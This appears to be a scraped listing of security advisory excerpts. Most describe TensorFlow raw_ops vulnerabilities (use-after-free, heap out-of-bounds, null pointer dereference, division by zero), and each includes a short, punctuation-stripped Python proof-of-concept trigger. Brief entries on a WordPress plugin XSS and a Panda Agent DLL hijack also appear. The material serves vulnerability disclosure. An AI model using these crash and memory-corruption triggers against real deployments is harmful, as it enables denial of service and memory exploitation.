Use after free / memory leak in `CollectiveReduceV2`

Impact The async implementation of CollectiveReduceV2 suffers from a memory leak and a use after free: python import tensorflow as tf tf.rawops.CollectiveReduceV2 input=, groupsize=-10, -10, -10, groupkey=-10, -10, instancekey=-10, orderingtoken=, mergeop='Mul', finalop='Div' This occurs due to t...

Heap OOB in `FusedBatchNorm` kernels

Impact The implementation of FusedBatchNorm kernels is vulnerable to a heap OOB: python import tensorflow as tf tf.rawops.FusedBatchNormGrad ybackprop=tf.constanti for i in range9,shape=1,1,3,3,dtype=tf.float32 x=tf.constanti for i in range2,shape=1,1,1,2,dtype=tf.float32 scale=1,1,...

`SparseFillEmptyRows` heap OOB

Impact The implementation of SparseFillEmptyRows can be made to trigger a heap OOB access: python import tensorflow as tf data=tf.rawops.SparseFillEmptyRows indices=0,0,0,0,0,0, values='sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss', denseshape=5,3, defaultvalue='o' This occurs...

Heap OOB in `SparseBinCount`

Impact The implementation of SparseBinCount is vulnerable to a heap OOB: python import tensorflow as tf tf.rawops.SparseBincount indices=0,1,2 values=0,-10000000 denseshape=1,1 size=1 weights=3,2,1 binaryoutput=False This is because of missing validation between the elements of the values argumen...

Arbitrary memory read in `ImmutableConst`

Impact The ImmutableConst operation in TensorFlow can be tricked into reading arbitrary memory contents: python import tensorflow as tf with open'/tmp/test','wb' as f: f.writeb'\xe2'128 data = tf.rawops.ImmutableConstdtype=tf.string,shape=3,memoryregionname='/tmp/test' printdata This is because t...

WordPress Download iPanorama 360 WordPress Virtual Tour Builder plugin <= 1.6.21 - Reflected Cross-Site Scripting (XSS) vulnerability

Reflected Cross-Site Scripting XSS vulnerability discovered by WPScanTeam in WordPress Download iPanorama 360 WordPress Virtual Tour Builder plugin versions = 1.6.21. Solution Update the WordPress Download iPanorama 360 WordPress Virtual Tour Builder plugin to the latest available version at leas...

CVE-2021-26750

DLL hijacking in Panda Agent =1.16.11 in Panda Security, S.L.U. Panda Adaptive Defense 360 = 8.0.17 allows attacker to escalate privileges via maliciously crafted DLL file...

Heap out of bounds access in sparse reduction operations

Impact The implementation of sparse reduction operations in TensorFlow can trigger accesses outside of bounds of heap allocated data: python import tensorflow as tf x = tf.SparseTensor indices=773, 773, 773, 773, 773, 773, values=1, 1, denseshape=337, 337, 337 tf.sparse.reducesumx, 1 The...

Floating point exception in `SparseDenseCwiseDiv`

Impact The implementation of tf.rawops.SparseDenseCwiseDiv is vulnerable to a division by 0 error: python import tensorflow as tf import numpy as np tf.rawops.SparseDenseCwiseDiv spindices=np.array4, spvalues=np.array-400, spshape=np.array647., dense=np.array0 The implementation uses a common cla...

Null pointer dereference in `CompressElement`

Impact It is possible to trigger a null pointer dereference in TensorFlow by passing an invalid input to tf.rawops.CompressElement: python import tensorflow as tf tf.rawops.CompressElementcomponents= The implementation was accessing the size of a buffer obtained from the return of a separate...

Null pointer dereference in `RaggedTensorToTensor`

Impact Sending invalid argument for rowpartitiontypes of tf.rawops.RaggedTensorToTensor API results in a null pointer dereference and undefined behavior: python import tensorflow as tf tf.rawops.RaggedTensorToTensor shape=1, values=10, defaultvalue=21, rowpartitiontensors=tf.constant0,0,0,0,...

Null pointer dereference and heap OOB read in operations restoring tensors

Impact When restoring tensors via raw APIs, if the tensor name is not provided, TensorFlow can be tricked into dereferencing a null pointer: python import tensorflow as tf tf.rawops.Restore filepattern='/tmp', tensorname=, defaultvalue=21, dt=tf.int, preferredshard=1 The same undefined behavior c...

Integer division by 0 in sparse reshaping

Impact The implementation of tf.rawops.SparseReshape can be made to trigger an integral division by 0 exception: python import tensorflow as tf tf.rawops.SparseReshape inputindices = np.ones1,3, inputshape = np.array1,1,0, newshape = np.array1,0 The implementation calls the reshaping functor...

Division by 0 in `ResourceScatterDiv`

Impact The implementation of tf.rawops.ResourceScatterDiv is vulnerable to a division by 0 error: python import tensorflow as tf v= tf.Variable1,2,3 tf.rawops.ResourceScatterDiv resource=v.handle, indices=1, updates=0 The implementation uses a common class for all binary operations but fails to...

Null pointer dereference in `MatrixDiagPartOp`

Impact If a user does not provide a valid padding value to tf.rawops.MatrixDiagPartOp, then the code triggers a null pointer dereference if input is empty or produces invalid behavior, ignoring all values after the first: python import tensorflow as tf tf.rawops.MatrixDiagPartV2...

`std::abort` raised from `TensorListReserve`

Impact Providing a negative element to numelements list argument of tf.rawops.TensorListReserve causes the runtime to abort the process due to reallocating a std::vector to have a negative number of elements: python import tensorflow as tf tf.rawops.TensorListReserve elementshape = tf.constant1,...

Null pointer dereference in `SparseTensorSliceDataset`

Impact When a user does not supply arguments that determine a valid sparse tensor, tf.rawops.SparseTensorSliceDataset implementation can be made to dereference a null pointer: python import tensorflow as tf tf.rawops.SparseTensorSliceDataset indices=,,, values=1,2,3, denseshape=3,3 The...

Null pointer dereference in `UncompressElement`

Impact The code for tf.rawops.UncompressElement can be made to trigger a null pointer dereference: python import tensorflow as tf data = tf.data.Dataset.fromtensors0.0 tf.rawops.UncompressElement compressed=tf.data.experimental.tovariantdata, outputtypes=tf.int64, outputshapes=2 The implementatio...

Heap buffer overflow in `FractionalAvgPoolGrad`

Impact The implementation for tf.rawops.FractionalAvgPoolGrad can be tricked into accessing data outside of bounds of heap allocated buffers: python import tensorflow as tf tf.rawops.FractionalAvgPoolGrad originputtensorshape=0,1,2,3, outbackprop = np.array541,541,541,541, rowpoolingsequence=0, 0...

Use after free in boosted trees creation

Impact The implementation for tf.rawops.BoostedTreesCreateEnsemble can result in a use after free error if an attacker supplies specially crafted arguments: python import tensorflow as tf v= tf.Variable0.0 tf.rawops.BoostedTreesCreateEnsemble treeensemblehandle=v.handle, stamptoken=0,...